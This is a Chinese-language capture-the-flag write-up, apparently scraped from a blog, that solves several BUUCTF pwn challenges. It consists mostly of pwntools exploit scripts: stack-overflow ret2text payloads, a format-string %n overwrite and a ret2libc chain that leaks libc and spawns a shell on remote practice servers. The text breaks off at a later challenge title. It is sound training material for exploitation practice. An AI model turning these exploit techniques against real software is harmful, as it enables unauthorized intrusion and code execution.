32题 BUUCTF-PWN-第一页writep

温故而知新,可以为师矣 。所以花了几天时间重新做了下 buuctf 的 pwn 题 , 先发下第一页共 32 题的题解 。还有如果题解都很详细那么本文就太长了 , 写起来也浪费时间,所以比较简单的题就直接丢 exp 了,不懂可以去看其他人的题解,难的题我觉得我写的题解应该是挺详细的 。截至到发文日期,只要是涉及 libc 的题目的 exp 都是能打通远程的 。如有错误评论欢迎指正 。
test_your_nc直接 nc 连接即可得到 shell
rip简单的 ret2text  , 不过靶机是 ubuntu18 ,要注意用 ret 指令进行栈平衡
from pwn import *from LibcSearcher import *context.log_level='debug'p = remote('node4.buuoj.cn', 28520)#p = process('pwn1')elf = ELF('pwn1')#p.recv()ret = 0x0000000000401016payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun'])p.sendline(payload)p.interactive()warmup_csaw_2016from pwn import *from LibcSearcher import *context.log_level='debug'p = remote('node4.buuoj.cn', 26284)#p = process('pwn1')elf = ELF('pwn1')p.recv()payload = b'a'*(0x40+8) + p64(0x40060d)p.sendline(payload)p.interactive()ciscn_2019_n_1

32题 BUUCTF-PWN-第一页writep

文章插图
直接通过 IDA 查看 v1 与 v2 的距离 , 通过溢出覆盖 v2 的值
from pwn import *p = remote("node4.buuoj.cn",26954)payload = b'a'*44 + p64(0x41348000) //应该将浮点数转为十六进制p.send(payload)p.interactive()pwn1_sctf_2016跟着main主函数 , 发现vuln函数这里有溢出漏洞【32题 BUUCTF-PWN-第一页writep】
32题 BUUCTF-PWN-第一页writep

文章插图
这里的fgets限制了输入的长度,一看是没有溢出漏洞的,但是下面的replace函数会将输入的 ‘I' 替换成 ’you‘,我们可以根据这个实现溢出漏洞
并且发现了 get_flag 函数的地址
32题 BUUCTF-PWN-第一页writep

文章插图
于是构造exp如下
from pwn import *connect = 1if connect:p = remote("node4.buuoj.cn",29821)else:p = process('1')payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)p.send(payload)p.interactive()jarvisoj_level0from pwn import *from LibcSearcher import *context.log_level='debug'p = remote('node4.buuoj.cn', 26366)#p = process('pwn1')elf = ELF('level0')p.recv()payload = b'a'*0x88 + p64(elf.sym['callsystem'])p.sendline(payload)p.interactive()[第五空间2019 决赛]PWN5
32题 BUUCTF-PWN-第一页writep

文章插图
存在格式化字符串漏洞,只要第二次输入的次和随机值 dword_804c44 相等,即可得到shell利用 %n 修改dword_804c044 的值
32题 BUUCTF-PWN-第一页writep

文章插图
于是构造exp如下from pwn import *from LibcSearcher import *p = process("./pwn")data_addr = 0x804c044payload = p32(data_addr) + b"%10$n"p.recv()p.sendline(payload)p.recv()p.sendline(b'4')p.interactive()也可以利用 pwntools 的 fmtstr_payload 实现
from pwn import *proc_name = './pwn'sh = process(proc_name)unk_804C044 = 0x804C044payload = fmtstr_payload(10, {unk_804C044: 0x1})sh.sendline(payload)sh.sendline(str(0x1))sh.interactive()ciscn_2019_c_1最终在encrypt()函数这找到溢出漏洞
32题 BUUCTF-PWN-第一页writep

文章插图
利用 \x00 进行字符截断,就不会对后面的 payload 进行加密了
之后就是 ret2libc,并且要注意栈平衡
from pwn import *from LibcSearcher import *#p = process("./1")p = remote("node4.buuoj.cn", 28810)elf = ELF("./1")pop_rdi = 0x0000000000400c83ret = 0x00000000004006b9puts_got = elf.got["puts"]puts_plt = elf.plt["puts"]main_addr = elf.symbols["main"]#first : get puts_addrpayload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendlineafter('Input your choice!\n', '1')p.sendlineafter('Input your Plaintext to be encrypted\n', payload1)p.recvline() #注意这里接受两行p.recvline()text = p.recv()puts_addr = u64(text[:6].ljust(8,b'\x00'))//实测如果这里不补足8位,u64无法转换#secode : get libcbase and other fuction addrslibc = LibcSearcher("puts", puts_addr)libcbase = puts_addr - libc.dump("puts")#print(libcbase)system_addr = libcbase + libc.dump("system")binsh_addr = libcbase + libc.dump("str_bin_sh")#third : get shellp.sendline(b'1')p.recv()payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)p.sendline(payload2)p.interactive()ciscn_2019_n_8

推荐阅读